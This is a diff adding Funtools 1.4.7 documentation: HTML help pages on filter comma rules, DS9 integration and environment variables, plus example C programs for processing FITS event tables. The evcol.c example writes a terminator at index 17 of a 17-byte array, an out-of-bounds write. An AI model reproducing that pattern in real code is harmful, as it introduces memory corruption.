</BODY>
</HTML>

View File

@ -0,0 +1,117 @@
<!-- =defdoc funcombine funcombine n -->
<HTML>
<HEAD>
<TITLE>Combining Region and Table Filters</TITLE>
</HEAD>
<BODY>
<!-- =section funcombine NAME -->
<H2><A NAME="funcombine">FunCombine: Combining Region and Table Filters</A></H2>
<!-- =section funcombine SYNOPSIS -->
<H2>Summary</H2>
<P>
This document discusses the conventions for combining region and table
filters, especially with regards to the comma operator.
<!-- =section funcombine DESCRIPTION -->
<H2><A NAME="conventions">Comma Conventions</A></H2>
<P>
Filter specifications consist of a series of boolean expressions,
separated by commas. These expressions can be table filters,
spatial region filters, or combinations thereof. Unfortunately,
common usage requires that the comma operator must act differently
in different situations. Therefore, while its use is intuitive in
most cases, commas can be a source of confusion.
<P>
According to long-standing usage in IRAF, when a comma separates two
table filters, it takes on the meaning of a boolean <B>and</B>. Thus:
<PRE>
foo.fits[pha==1,pi==2]
</PRE>
is equivalent to:
<PRE>
foo.fits[pha==1 && pi==2]
</PRE>
When a comma separates two spatial region filters, however, it has
traditionally taken on the meaning of a boolean <B>or</B>. Thus:
<PRE>
foo.fits[circle(10,10,3),ellipse(20,20,8,5)]
</PRE>
is equivalent to:
<PRE>
foo.fits[circle(10,10,3) || ellipse(20,20,8,5)]
</PRE>
(except that in the former case, each region is given a unique id
in programs such as funcnts).
<P>
Region and table filters can be combined:
<PRE>
foo.fits[circle(10,10,3),pi=1:5]
</PRE>
or even:
<PRE>
foo.fits[pha==1&&circle(10,10,3),pi==2&&ellipse(20,20,8,5)]
</PRE>
In these cases, it is not obvious whether the command should utilize an
<B>or</B> or <B>and</B> operator. We therefore arbitrarily chose to
implement the following rule:
<UL>
<LI> if both expressions contain a region, the operator used is <B>or</B>.
<LI> if one (or both) expression(s) does not contain a region, the operator
used is <B>and</B>.
</UL>
This rule handles the cases of pure regions and pure column filters properly.
It unambiguously assigns the boolean <B>and</B> to all mixed cases. Thus:
<PRE>
foo.fits[circle(10,10,3),pi=1:5]
</PRE>
and
<PRE>
foo.fits[pi=1:5,circle(10,10,3)]
</PRE>
both are equivalent to:
<PRE>
foo.fits[circle(10,10,3) && pi=1:5]
</PRE>
<P>
[NB: This arbitrary rule <b>replaces the previous arbitrary rule</b>
(pre-funtools 1.2.3) which stated:
<UL>
<LI> if the 2nd expression contains a region, the operator used is <B>or</B>.
<LI> if the 2nd expression does not contain a region, the operator
used is <B>and</B>.
</UL>
In that scenario, the <B>or</B> operator was implied by:
<PRE>
pha==4,circle 5 5 1
</PRE>
while the <B>and</B> operator was implied by
<PRE>
circle 5 5 1,pha==4
</PRE>
Experience showed that this non-commutative treatment of the comma
operator was confusing and led to unexpected results.]
<P>
The comma rule must be considered provisional: comments and complaints
are welcome to help clarify the matter. Better still, we recommend
that the comma operator be avoided in such cases in favor of an
explicit boolean operator.
<!-- =section funcombine SEE ALSO -->
<!-- =text See funtools(n) for a list of Funtools help pages -->
<!-- =stop -->
<P>
<A HREF="./help.html">Go to Funtools Help Index</A>
<H5>Last updated: November 16, 2005</H5>
</BODY>
</HTML>

Binary file not shown.

105
funtools-1.4.7/doc/ds9.html Normal file
View File

@ -0,0 +1,105 @@
<!-- =defdoc funds9 funds9 n -->
<HTML>
<HEAD>
<TITLE>Funtools and DS9 Image Display</TITLE>
</HEAD>
<BODY>
<!-- =section funds9 NAME -->
<H2><A NAME="funds9">FunDS9: Funtools and DS9 Image Display</A></H2>
<!-- =section funds9 SYNOPSIS -->
<H2>Summary</H2>
Describes how funtools can be integrated into the ds9 Analysis menu.
<!-- =section funds9 DESCRIPTION -->
<H2>Description</H2>
<P>
<A HREF="http://hea-www.harvard.edu/saord/ds9/index.html">
SAOImage/DS9</A> is an astronomical imaging and data visualization
application used by astronomers around the world. DS9 can display
standard astronomical FITS images and binary tables, but also has
support for displaying raw array files, shared memory files, and data
files automatically retrieved via FTP and HTTP. Standard functional
capabilities include multiple frame buffers, colormap and region
manipulation, and many data scaling algorithms. DS9's advanced
features include TrueColor visuals, deep frame buffers, true
PostScript printing, and display of image mosaics. The program's
support of image tiling, "blinking", arbitrary zoom, rotation, and pan
is unparalleled in astronomy. It also has innovative support for
automatic retrieval and display of standard image data such as the
Digital Sky Survey (using servers at SAO, StScI, or ESO).
<P>
DS9 can communicate with external programs such as Funtools using the
<A HREF="http://hea-www.harvard.edu/saord/xpa/index.html">XPA</A>
messaging system. In addition, programs can be integrated directly
into the DS9 GUI by means of a configurable Analysis menu. By
default, the DS9 Analysis menu contains algorithms deemed essential to
the core functions of DS9, e.g., display cross-cuts of data,
iso-intensity contours, and WCS grids. However, new programs can be
added to DS9 by creating a set-up file which can be loaded into DS9
to reconfigure the Analysis menu.
<PRE>
The basic format of the analysis set-up file is:
<P>
#
# Analysis command descriptions:
# menu label/description
# file templates for this command
# "menu" (add to menu) |"bind" (bind to key)
# analysis command line
</PRE>
For example, the funcnts program can be specified in this way:
<PRE>
Funcnts (counts in source/bkgd regions; options: none)
*
menu
funcnts $filename $regions(source,,) $regions(background,,) | $text
</PRE>
As shown above, DS9 supports a macro facility to provide information
as well as task support to command lines. For example, the $regions
macro is expanded by DS9 to provide the current source and/or
background region to the analysis command. The $text macro is expanded
to generate a text window display. It also is possible to query for
parameters using a $param macro, plot data using a $plot macro,
etc. See the DS9 documentation for further details.
<P>
A set-up file called <A HREF="./funtools.ds9">funtools.ds9</A> will
load some useful Funtools applications (counts in regions, radial
profile, X-ray light curve and energy spectrum, 1D histogram) into the DS9
Analysis menu (version 2.1 and above). The file resides in the bin
directory where Funtools programs are installed. It can be manually
loaded into DS9 from the <B>Load Analysis Commands ...</B> option of
the <B>Analysis</B> menu. Alternatively, you can tell DS9 to load
this file automatically at start-up time by adding the pathname to the
<B>Edit</B>-><B>Preferences</B>-><B>Analysis Menu</B>-><B>Analysis
File</B> menu option. (NB: make sure you select
<B>Edit</B>-><B>Preferences</B>-><B>Save Preferences</B> after setting
the pathname.)
<P>
The tasks in this setup file generally process the original disk-based
FITS file. Funcnts-based results (radial profile, counts in regions)
are presented in WCS units, if present in the FITS header. For
situations where a disk file is not available (e.g., image data
generated and sent to DS9's 'fits' XPA access point), versions of the
radial profile and counts in regions tasks also are also offered
utilizing DS9's internal image data. Results are presented in pixels.
Aside from the units, the results should be identical to the file-based
results.
<!-- =section funds9 SEE ALSO -->
<!-- =text See funtools(n) for a list of Funtools help pages -->
<!-- =stop -->
<P>
<A HREF="./help.html">Go to Funtools Help Index</A>
<H5>Last updated: November 16, 2005</H5>
</BODY>
</HTML>

222
funtools-1.4.7/doc/env.html Normal file
View File

@ -0,0 +1,222 @@
<!-- =defdoc funenv funenv n -->
<HTML>
<HEAD>
<TITLE>Funtools Environment Variables</TITLE>
</HEAD>
<BODY>
<!-- =section funenv NAME -->
<H2><A NAME="funenv">FunEnv: Funtools Environment Variables</A></H2>
<!-- =section funenv SYNOPSIS -->
<H2>Summary</H2>
Describes the environment variables which can be used to tailor the overall
Funtools environment.
<!-- =section funenv DESCRIPTION -->
<H2>Description</H2>
<P>
The following environment variables are supported by Funtools:
<DL>
<P>
<DT><B>FITS_EXTNAME</B>
<DD> The <B>FITS_EXTNAME</B> environment variable specifies the
default FITS extension name when <A HREF="./library.html#funopen">FunOpen()</A> is called on a file lacking
a primary image. Thus,
<PRE>
setenv FITS_EXTNAME "NEWEV"
</PRE>
will allow you to call <A HREF="./library.html#funopen">FunOpen()</A> on files without specifying NEWEV in
the
<A HREF="./files.html">Funtools bracket specification</A>.
If no FITS_EXTNAME variable is defined and the extension name also is
not passed in the bracket specification, then the default will be to
look for standard X-ray event table extension names "EVENTS" or
"STDEVT" (we are, after all, and X-ray astronomy group at heart!).
<P>
<DT><B>FITS_EXTNUM</B>
<DD> The <B>FITS_EXTNUM</B> environment variable specifies the
default FITS extension number when <A HREF="./library.html#funopen">FunOpen()</A> is called on a file lacking
a primary image. Thus,
<PRE>
setenv FITS_EXTNUM 7
</PRE>
will allow you to call <A HREF="./library.html#funopen">FunOpen()</A> on files to open the seventh
extension without specifying the number in the
<A HREF="./files.html">Funtools bracket specification</A>.
<P>
<DT><B>FITS_BINCOLS</B> and <B>EVENTS_BINCOLS</B>
<DD> These environment variable specifies the default binning key for
FITS binary tables and raw event files, respectively. They can be
over-ridden using the <B>bincols=[naxis1,naxis2]</B> keyword in a
<A HREF="./files.html">Funtools bracket specification</A>.
The value of each environment variable
is a pair of comma-delimited columns, enclosed in parentheses, to use
for binning. For example, if you want to bin on detx and dety by
default, then use:
<PRE>
setenv FITS_BINCOLS "(detx,dety)"
</PRE>
in preference to adding a bincols specification to each filename:
<PRE>
foo.fits[bincols=(detx,dety)]
</PRE>
<P>
<DT><B>FITS_BITPIX</B> and <B>EVENTS_BITPIX</B>
<DD> These environment variable specifies the default bitpix value for
binning FITS binary tables and raw event files, respectively. They can
be over-ridden using the <B>bitpix=[value]</B> keyword in a
<A HREF="./files.html">Funtools bracket specification</A>. The value
of each environment variable is one of the standard FITS bitpix values
(8,16,32,-32,-64). For example, if you want binning routines to
create a floating array, then use:
<PRE>
setenv FITS_BITPIX -32
</PRE>
in preference to adding a bitpix specification to each filename:
<PRE>
foo.fits[bitpix=-32]
</PRE>
<P>
<DT><B>ARRAY</B>
<DD> The <B>ARRAY</B> environment variable specifies the default
definition of an array file for Funtools.
It is used if there is no array specification passed in the
<B>ARRAY()</B> directive in a
<A HREF="./files.html#arrays">Non-FITS Array specification</A>.
The value of the environment variable is a valid array specification such as:
<PRE>
setenv ARRAY "s100.150"
foo.arr[ARRAY()]
</PRE>
This can be defined in preference to adding the specification to each filename:
<PRE>
foo.arr[ARRAY(s100.150)]
</PRE>
<P>
<DT><B>EVENTS</B>
<DD> The <B>EVENTS</B> environment variable specifies the default
definition of an raw event file for Funtools.
It is used if there is no EVENTS specification passed in the
<B>EVENTS()</B> directive in a
<A HREF="./files.html#events">Non-FITS EVENTS specification</A>.
The value of the environment variable is a valid EVENTS specification such as:
<PRE>
setenv EVENTS "x:J:1024,y:J:1024,pi:I,pha:I,time:D,dx:E:1024,dx:E:1024"
foo.ev[EVENTS()]
</PRE>
This can be defined in preference to adding the specification to each filename:
<PRE>
foo.ev[EVENTS(x:J:1024,y:J:1024,pi:I,pha:I,time:D,dx:E:1024,dx:E:1024)]
</PRE>
</DL>
The following filter-related environment variables are supported by Funtools:
<DL>
<P>
<DT><B>FILTER_PTYPE</B>
<DD> The <B>FILTER_PTYPE</B> environment variable specifies how to
build a filter. There are three possible methods:
<DL>
<DT>process or p
<DD>The filter is compiled and linked against the funtools library (which
must therefore be accessible in the original install directory) to produce
a slave program. This program is fed events or image data and returns
filter results.
<DT>dynamic or d (gcc only)
<DD>The filter is compiled and linked against the funtools library (which
must therefore be accessible in the original install directory) to produce
a dynamic shared object, which is loaded into the funtools program and
executed as a subroutine. (Extensive testing has shown that, contrary to
expectations, this method is no faster than using a slave process.)
<DT>contained or c
<DD>The filter and all supporting region code is compiled and linked
without reference to the funtools library to produce a slave program
(which is fed events or image data and returns filter results). This method
is slower than the other two, because of the time it takes to compile the
region filtering code. It is used by stand-alone programs such as ds9,
which do not have access to the funtools library.
</DL>
By default, <B>dynamic</B> is generally used for gcc compilers and
<B>process</B> for other compilers. However the filter building algorithm
will check for required external files and will use <B>contained</B> is
these are missing.
<P>
<DT><B>FUN_MAXROW</B>
<DD> The <B>FUN_MAXROW</B> environment variable is used by core
row-processing Funtools programs (funtable, fundisp, funcnts, funhist,
funmerge, and funcalc) to set the maximum number of rows read at once
(i.e. it sets the third argument to the FunTableRowGet() call). The
default is 8192. Note that this variable is a convention only: it will
not be a part of a non-core Funtools program unless code is explicitly
added, since each call to FunTableRowGet() specifies its own maximum
number of rows to read. NB: if you make this value very large, you
probably will need to increase <B>FUN_MAXBUFSIZE</B> (see below) as well.
<P>
<DT><B>FUN_MAXBUFSIZE</B>
<DD> The <B>FUN_MAXBUFSIZE</B> environment variable is used to limit the
max buffer size that will be allocated to hold table row data. This
buffer size is calculated to be the row size of the table multiplied
by the maximum number of rows read at once (see above). Since the
row size is unlimited (and we have examples of it being larger than 5
Mb), it is possible that the total buffer size will exceed the machine
capabilities. We therefore set a default value of 5Mb for the max buffer
size, and adjust maxrow so that the total size calculated is less than
this max buffer size. (If the row size is greater than this max buffer
size, then maxrow is set to 1.) This environment variable will change
the max buffer size allowed.
<P>
<DT><B>FILTER_CC</B>
<DD> The <B>FILTER_CC</B> environment variable specifies the compiler to
use for compiling a filter specification. You also can use the <B>CC</B>
environment variable. If neither has been set, then gcc will be used
if available. Otherwise cc is used if available.
<P>
<DT><B>FILTER_EXTRA</B>
<DD> The <B>FILTER_EXTRA</B> environment variable specifies extra options
to add to a filter compile command line. In principle, you can add libraries,
include files, and compiler switches. This variable should be used with care.
<P>
<DT><B>FILTER_TMPDIR</B>
<DD> The <B>FILTER_TMPDIR</B> environment variable specifies the temporary
directory for filter compilation intermediate files. You also can use
the <B>TMPDIR</B> and <B>TMP</B> variables. By default, /tmp is used
as the temporary directory.
<P>
<DT><B>FILTER_KEEP</B>
<DD> The <B>FILTER_KEEP</B> environment variable specifies whether the
intermediate filter files (i.e. C source file and compile log file)
should be saved after a filter is built. The default is "false", so that
these intermediate files are deleted. This variable is useful for debugging,
but care should be taken to reset its value to false when debugging is
complete.
</DL>
<!-- =section funenv SEE ALSO -->
<!-- =text See funtools(n) for a list of Funtools help pages -->
<!-- =stop -->
<P>
<A HREF="./help.html">Go to Funtools Help Index</A>
<H5>Last updated: November 16, 2005</H5>
</BODY>
</HTML>

130
funtools-1.4.7/doc/evcol.c Normal file
View File

@ -0,0 +1,130 @@
/*
*
* evcol.c -- example program for processing all extensions and adding a
* column to the binary tables
*
*/
#include <funtools.h>
#include <word.h>
#define MAXROW 8192
typedef struct evstruct{
char shape[17];
int mycol;
} *Ev, EvRec;
int main (int argc, char **argv)
{
int i, got;
int idx;
int tlmax;
int ext=1;
int total=1;
int haveshape=0;
char *s[3];
char tbuf[SZ_LINE];
Fun fun, fun2;
Ev ebuf, ev;
/* exit on gio errors */
setgerror(2);
/* make sure we have minimal arguments */
if( argc < 3 )
gerror(stderr, "usage: %s iname oname\n", argv[0]);
/* open a new output FITS file */
if( !(fun2 = FunOpen(argv[2], "w", NULL)) )
gerror(stderr, "could not FunOpen output file: %s\n", argv[2]);
/* process each input extension in turn */
for(ext=0; ;ext++){
/* get new extension name */
sprintf(tbuf, "%s[%d]", argv[1], ext);
/* open it -- if we cannot open it, we are done */
if( !(fun=FunOpen(tbuf, "r", NULL)) )
break;
/* make the new extension the reference handle for the output file */
FunInfoPut(fun2, FUN_IFUN, &fun, 0);
/* if its not a binary table, just write it out */
for(i=0; i<=2; i++) s[i] = NULL;
if( !(s[0]=FunParamGets(fun, "XTENSION", 0, NULL, &got)) ||
strcmp(s[0], "BINTABLE")){
if( s[0] ) free(s[0]);
FunFlush(fun2, "copy=reference");
FunClose(fun);
continue;
}
else{
if( (s[1]=FunParamGets(fun, "EXTNAME", 0, NULL, &got)) ){
fprintf(stdout, "processing %s", s[1]);
if( (s[2]=FunParamGets(fun, "HDUNAME", 0, NULL, &got)) )
fprintf(stdout, " %s", s[2]);
fprintf(stdout, "\n");
}
}
for(i=0; i<=2; i++) if( s[i] ) free(s[i]);
/* select columns from this new extension for merging */
/* we have some special code to test various bugs with bpix.fits */
if( (idx = FunColumnLookup(fun, "SHAPE", 0,
NULL, NULL, NULL, NULL, NULL, NULL)) ){
haveshape = 1;
FunColumnSelect(fun, sizeof(EvRec), "merge=update",
"SHAPE", "16A", "rw", FUN_OFFSET(Ev, shape),
"MYCOL", "J", "w", FUN_OFFSET(Ev, mycol),
NULL);
}
else{
FunColumnSelect(fun, sizeof(EvRec), "merge=update",
"MYCOL", "J", "w", FUN_OFFSET(Ev, mycol),
NULL);
}
/* we have some special code to test various bugs with bpix.fits */
/* we need to increase tlmax value of the "component" column */
if( (idx = FunColumnLookup(fun, "COMPONENT", 0,
NULL, NULL, NULL, NULL, NULL, NULL)) ){
if( (tlmax=FunParamGeti(fun, "TLMAX", idx, -1, &got)) && got )
FunParamPuti(fun2, "TLMAX", idx, tlmax+100, NULL, 0);
}
/* get input rows (let routine allocate the row array) */
while( (ebuf = (Ev)FunTableRowGet(fun, NULL, MAXROW, NULL, &got)) ){
/* process all rows */
for(i=0; i<got; i++){
/* point to the i'th row */
ev = ebuf+i;
/* make sure ascii vector is null-terminated */
ev->shape[17] = '\0';
/* used with bpix.ev */
if( haveshape ){
cluc(ev->shape);
fprintf(stdout, "\tshape: %s\n", ev->shape);
}
ev->mycol = total++;
}
/* write out this batch of rows, along with the new column */
FunTableRowPut(fun2, (char *)ebuf, got, 0, NULL);
/* write out one more record with special marker */
ev = ebuf;
strcpy(ev->shape, "hexagon ");
ev->mycol = -1;
FunTableRowPut(fun2, (char *)ev, 1, 0, NULL);
/* free row data */
if( ebuf ) free(ebuf);
}
/* flush output extension (write padding, etc.) */
FunFlush(fun2, NULL);
/* close the input extension */
FunClose(fun);
}
/* all done -- close output */
FunClose(fun2);
return(0);
}

View File

@ -0,0 +1,77 @@
/*
*
* evmerge.c -- example program for merging user values into a table file
*
*/
#include <funtools.h>
#include <word.h>
#define MAXROW 8192
typedef struct evstruct{
double time;
int time2;
} *Ev, EvRec;
int main (int argc, char **argv)
{
int i, got;
char tbuf[SZ_LINE];
Fun fun, fun2;
Ev ebuf, ev;
/* exit on gio errors */
setgerror(2);
/* make sure we have minimal arguments */
if( argc < 4 )
gerror(stderr, "usage: %s iname oname mergetype [columns]\n", argv[0]);
/* open input file */
if( !(fun = FunOpen(argv[1], "rc", NULL)) )
gerror(stderr, "could not FunOpen input file: %s\n", argv[1]);
/* open the output FITS image, inheriting params from input */
if( !(fun2 = FunOpen(argv[2], "w", fun)) )
gerror(stderr, "could not FunOpen output file: %s\n", argv[2]);
/* "merge=[type]" merges original input columns with new ones, where type is:
* update -- add new columns, update value of existing ones (same data type)
* replace -- add new columns, replace data type and value of existing ones
* append -- only add new columns, do not "replace" or "update" existing ones
* If tbuf argument is NULL, no merging is performed -- only user-specified
* columns are output.
*/
if( isfalse(argv[3]) )
*tbuf = '\0';
else
sprintf(tbuf, "merge=%s", argv[3]);
FunColumnSelect(fun, sizeof(EvRec), tbuf,
"time", "D", "rw", FUN_OFFSET(Ev, time),
"time2", "J", "w", FUN_OFFSET(Ev, time2),
NULL);
/* activate specified columns -- these will be written to the output file */
if( argc >= 5 )
FunColumnActivate(fun, argv[4], NULL);
/* get rows -- let routine allocate the row array */
while( (ebuf = (Ev)FunTableRowGet(fun, NULL, MAXROW, NULL, &got)) ){
/* process all rows */
for(i=0; i<got; i++){
/* point to the i'th row */
ev = ebuf+i;
ev->time2 = (int)(ev->time+.5);
ev->time = -(ev->time/10.0);
}
/* write out this batch of rows with the new column */
FunTableRowPut(fun2, (char *)ebuf, got, 0, NULL);
/* free row data */
if( ebuf ) free(ebuf);
}
/* clean up -- close output before input to perform flush automatically */
FunClose(fun2);
FunClose(fun);
return(0);
}

116
funtools-1.4.7/doc/evnext.c Normal file
View File

@ -0,0 +1,116 @@
/*
*
* evnext.c -- example program for changing the time of an row to have
* the value from the next row
*
*/
#include <funtools.h>
#define MAXROW 100
typedef struct evstruct{
double time;
} *Ev, EvRec;
#ifdef ANSI_FUNC
int
main (int argc, char **argv)
#else
main(argc, argv)
int argc;
char **argv;
#endif
{
int i;
int got, ogot;
char *oraw;
char *nraw;
char *null=NULL;
Ev ebuf, oebuf=NULL;
Ev ev, nev, oev;
Fun fun, fun2;
/* exit on gio errors */
setgerror(2);
/* make sure we have minimal arguments */
if( argc < 3 )
gerror(stderr, "usage: %s iname oname [columns]\n", argv[0]);
/* open file */
if( !(fun = FunOpen(argv[1], "r", NULL)) )
gerror(stderr, "could not FunOpen %s\n", argv[1]);
/* open the output FITS image, inheriting params from input */
if( !(fun2 = FunOpen(argv[2], "w", fun)) )
gerror(stderr, "could not FunOpen output file: %s\n", argv[2]);
/* specify columns we want */
got = FunColumnSelect(fun, sizeof(EvRec), "merge=update",
"time", "1D", "rw", FUN_OFFSET(Ev, time),
NULL);
/* activate specified columns -- these will be written to the output file */
if( argc >= 4 )
FunColumnActivate(fun, argv[3], NULL);
/* get rows */
while( (ebuf = (Ev)FunTableRowGet(fun, NULL, MAXROW, NULL, &got)) ){
/* process the last row from previous batch, if we have it */
if( oebuf ){
/* this is the old array of rows -- we point to the last one */
oev = oebuf+(ogot-1);
/* this is the new array of rows -- we point to the first one */
ev = ebuf;
/* change time value of old row to new row's value */
oev->time = ev->time;
/* now we have to write out this last row */
/* first, save pointer to the new raw data */
FunInfoGet(fun, FUN_RAWBUF, &nraw);
/* put back old pointer so we merge it with last row */
FunInfoPut(fun, FUN_RAWBUF, &oraw);
/* write out last row merging with its raw data */
/* (its arg 4 that tells funtools to merge with the last raw row) */
FunTableRowPut(fun2, oebuf, 1, ogot-1, NULL);
/* free up old raw data */
if( oraw ) free(oraw);
/* free up old user data */
if( oebuf ) free(oebuf);
/* finally, put back new raw data pointer, so we can process new batch */
FunInfoPut(fun, FUN_RAWBUF, &nraw);
}
/* process the got-1 rows by replacing the time with time from
the succeeding row */
for(i=0; i<(got-1); i++){
/* point to the i'th row */
ev = ebuf+i;
nev = ebuf+(i+1);
ev->time = nev->time;
}
/* if we processed at least one row this time ... */
if( got > 1 ){
/* write out got-1 rows with the raw columns */
FunTableRowPut(fun2, (char *)ebuf, (got-1), 0, NULL);
}
/* if we have a "last" row to process next time ... */
if( got ){
/* save the user row for when we have the next batch */
oebuf = ebuf;
/* save pointer to raw data */
FunInfoGet(fun, FUN_RAWBUF, &oraw);
/* null out rawbuf pointer so Funtools does not free it automatically */
FunInfoPut(fun, FUN_RAWBUF, &null);
/* save old value of got */
ogot = got;
}
}
/* clean up last saved batch */
if( oraw ) free(oraw);
if( oebuf ) free(oebuf);
/* close and return */
FunClose(fun2);
FunClose(fun);
return(0);
}

304
funtools-1.4.7/doc/evread.c Normal file
View File

@ -0,0 +1,304 @@
/*
*
* evread.c -- example program for reading rows in different ways
*
*/
#include <funtools.h>
#define MAXROW 10000
extern char *optarg;
extern int optind;
/* single event (used in array of structs) */
typedef struct evstruct{
short region;
double x, y;
int pi, pha;
double time;
double dx, dy;
} *Ev, EvRec;
/* arrays of columns (used in struct of arrays) */
typedef struct aevstruct{
short region[MAXROW];
double x[MAXROW], y[MAXROW];
int pi[MAXROW], pha[MAXROW];
double time[MAXROW];
double dx[MAXROW], dy[MAXROW];
} *AEv, AEvRec;
/* pointers to arrays of columns (used in struct of arrays) */
typedef struct pevstruct{
short *region;
double *x, *y;
int *pi, *pha;
double *time;
double *dx, *dy;
} *PEv, PEvRec;
#ifdef ANSI_FUNC
int
main (int argc, char **argv)
#else
main(argc, argv)
int argc;
char **argv;
#endif
{
int i;
int c;
int got;
int put;
int args;
int doev=0;
int doualloc=0;
char *mode="r";
char *iname;
char *oname=NULL;
char *params=NULL;
Fun fun=NULL;
Fun ofun=NULL;
void *buf=NULL;
Ev ev, ebuf=NULL;
AEv aev, abuf=NULL;
PEv pev, pbuf=NULL;
/* process switch arguments */
while ((c = getopt(argc, argv, "aepuw:")) != -1){
switch(c){
case 'a':
doev = 1;
params = "org=soa";
break;
case 'e':
doev = 0;
params = "org=aos";
break;
case 'f':
doev = 3;
params = "org=aos";
break;
case 'p':
doev = 2;
params = "org=soa";
break;
case 'u':
doualloc = 1;
break;
case 'w':
oname = optarg;
mode = "rw";
break;
}
}
/* check for required arguments */
args = argc - optind;
if( args == 0 )
iname = "test.ev[EVENTS]";
else
iname = argv[optind];
/* open input file */
if( !(fun = FunOpen(iname, "r", NULL)) ){
gerror(stderr, "could not FunOpen %s\n", iname);
exit(1);
}
/* open output file, if necessary */
if( oname ){
if( !(ofun = FunOpen(oname, "w", fun)) ){
gerror(stderr, "could not FunOpen outout %s\n", oname);
exit(1);
}
}
/* specify columns we want */
switch(doev){
/* array of structs */
case 0:
got = FunColumnSelect(fun, sizeof(EvRec), params,
"$region", "I", mode, FUN_OFFSET(Ev, region),
"x", "D:10:10", mode, FUN_OFFSET(Ev, x),
"y", "D:10:10", mode, FUN_OFFSET(Ev, y),
"dx", "D:10:10", mode, FUN_OFFSET(Ev, dx),
"dy", "D:10:10", mode, FUN_OFFSET(Ev, dy),
"pi", "J", mode, FUN_OFFSET(Ev, pi),
"pha", "J", mode, FUN_OFFSET(Ev, pha),
"time", "1D", mode, FUN_OFFSET(Ev, time),
NULL);
if( doualloc ){
ebuf = calloc(MAXROW, sizeof(EvRec));
buf = ebuf;
}
break;
/* struct of arrays */
case 1:
got = FunColumnSelect(fun, sizeof(AEvRec), params,
"$region", "I", mode, FUN_OFFSET(AEv, region),
"x", "D:10:10", mode, FUN_OFFSET(AEv, x),
"y", "D:10:10", mode, FUN_OFFSET(AEv, y),
"dx", "D:10:10", mode, FUN_OFFSET(AEv, dx),
"dy", "D:10:10", mode, FUN_OFFSET(AEv, dy),
"pi", "J", mode, FUN_OFFSET(AEv, pi),
"pha", "J", mode, FUN_OFFSET(AEv, pha),
"time", "1D", mode, FUN_OFFSET(AEv, time),
NULL);
if( doualloc ){
abuf = calloc(1, sizeof(AEvRec));
buf = abuf;
}
break;
/* struct of pointers */
case 2:
got = FunColumnSelect(fun, sizeof(PEvRec), params,
"$region", "@I", mode, FUN_OFFSET(PEv, region),
"x", "@D:10:10", mode, FUN_OFFSET(PEv, x),
"y", "@D:10:10", mode, FUN_OFFSET(PEv, y),
"dx", "@D:10:10", mode, FUN_OFFSET(PEv, dx),
"dy", "@D:10:10", mode, FUN_OFFSET(PEv, dy),
"pi", "@J", mode, FUN_OFFSET(PEv, pi),
"pha", "@J", mode, FUN_OFFSET(PEv, pha),
"time", "@1D", mode, FUN_OFFSET(PEv, time),
NULL);
if( doualloc ){
pbuf = calloc(1, sizeof(PEvRec));
pbuf->region = calloc(MAXROW, sizeof(short));
pbuf->x = calloc(MAXROW, sizeof(double));
pbuf->y = calloc(MAXROW, sizeof(double));
pbuf->pi = calloc(MAXROW, sizeof(int));
pbuf->pha = calloc(MAXROW, sizeof(int));
pbuf->time = calloc(MAXROW, sizeof(double));
pbuf->dx = calloc(MAXROW, sizeof(double));
pbuf->dy = calloc(MAXROW, sizeof(double));
buf = pbuf;
}
break;
/* array of structs containing pointers */
case 3:
got = FunColumnSelect(fun, sizeof(PEvRec), params,
"$region", "@I", mode, FUN_OFFSET(PEv, region),
"x", "@D:10:10", mode, FUN_OFFSET(PEv, x),
"y", "@D:10:10", mode, FUN_OFFSET(PEv, y),
"dx", "@D:10:10", mode, FUN_OFFSET(PEv, dx),
"dy", "@D:10:10", mode, FUN_OFFSET(PEv, dy),
"pi", "@J", mode, FUN_OFFSET(PEv, pi),
"pha", "@J", mode, FUN_OFFSET(PEv, pha),
"time", "@1D", mode, FUN_OFFSET(PEv, time),
NULL);
if( doualloc ){
pbuf = calloc(1, sizeof(PEvRec));
pbuf->region = calloc(1, sizeof(short));
pbuf->x = calloc(1, sizeof(double));
pbuf->y = calloc(1, sizeof(double));
pbuf->pi = calloc(1, sizeof(int));
pbuf->pha = calloc(1, sizeof(int));
pbuf->time = calloc(1, sizeof(double));
pbuf->dx = calloc(1, sizeof(double));
pbuf->dy = calloc(1, sizeof(double));
buf = pbuf;
}
break;
default:
gerror(stderr, "unknown params value: %d\n", doev);
break;
}
/* get rows */
while( (buf = (void *)FunTableRowGet(fun, buf, MAXROW, NULL, &got)) ){
/* output if necessary */
if( ofun ){
if( (put=FunTableRowPut(ofun, buf, got, 0, NULL)) != got ){
gerror(stderr, "expected to write %d rows; only wrote %d\n",
got, put);
}
}
/* and display */
switch(doev){
case 0:
for(i=0; i<got; i++){
ev = (Ev)buf+i;
fprintf(stdout, "%d\t%.2f\t%.2f\t%d\t%d\t%.4f\t%.4f\t%21.8f\n",
(int)ev->region,
ev->x, ev->y,
ev->pi, ev->pha,
ev->dx, ev->dy,
ev->time);
fflush(stdout);
}
break;
case 1:
aev = (AEv)buf;
for(i=0; i<got; i++){
fprintf(stdout, "%d\t%.2f\t%.2f\t%d\t%d\t%.4f\t%.4f\t%21.8f\n",
(int)aev->region[i],
aev->x[i], aev->y[i],
aev->pi[i], aev->pha[i],
aev->dx[i], aev->dy[i],
aev->time[i]);
fflush(stdout);
}
break;
case 2:
pev = (PEv)buf;
for(i=0; i<got; i++){
fprintf(stdout, "%d\t%.2f\t%.2f\t%d\t%d\t%.4f\t%.4f\t%21.8f\n",
(int)pev->region[i],
pev->x[i], pev->y[i],
pev->pi[i], pev->pha[i],
pev->dx[i], pev->dy[i],
pev->time[i]);
fflush(stdout);
}
break;
case 3:
for(i=0; i<got; i++){
pev = (PEv)buf+i;
fprintf(stdout, "%d\t%.2f\t%.2f\t%d\t%d\t%.4f\t%.4f\t%21.8f\n",
(int)pev->region[0],
pev->x[0], pev->y[0],
pev->pi[0], pev->pha[0],
pev->dx[0], pev->dy[0],
pev->time[0]);
fflush(stdout);
}
break;
default:
gerror(stderr, "unknown params value: %d\n", doev);
break;
}
/* if funtools did allocation, free it now */
if( !doualloc ){
if( buf ) xfree(buf);
buf = NULL;
}
}
/* clean up */
if( doualloc ){
switch(doev){
case 0:
if( ebuf ) xfree(ebuf);
break;
case 1:
if( abuf ) xfree(abuf);
break;
case 2:
if( pbuf->region ) xfree(pbuf->region);
if( pbuf->x ) xfree(pbuf->x);
if( pbuf->y ) xfree(pbuf->y);
if( pbuf->pi ) xfree(pbuf->pi);
if( pbuf->pha ) xfree(pbuf->pha);
if( pbuf->time ) xfree(pbuf->time);
if( pbuf->dx ) xfree(pbuf->dx);
if( pbuf->dy ) xfree(pbuf->dy);
if( pbuf ) xfree(pbuf);
break;
}
}
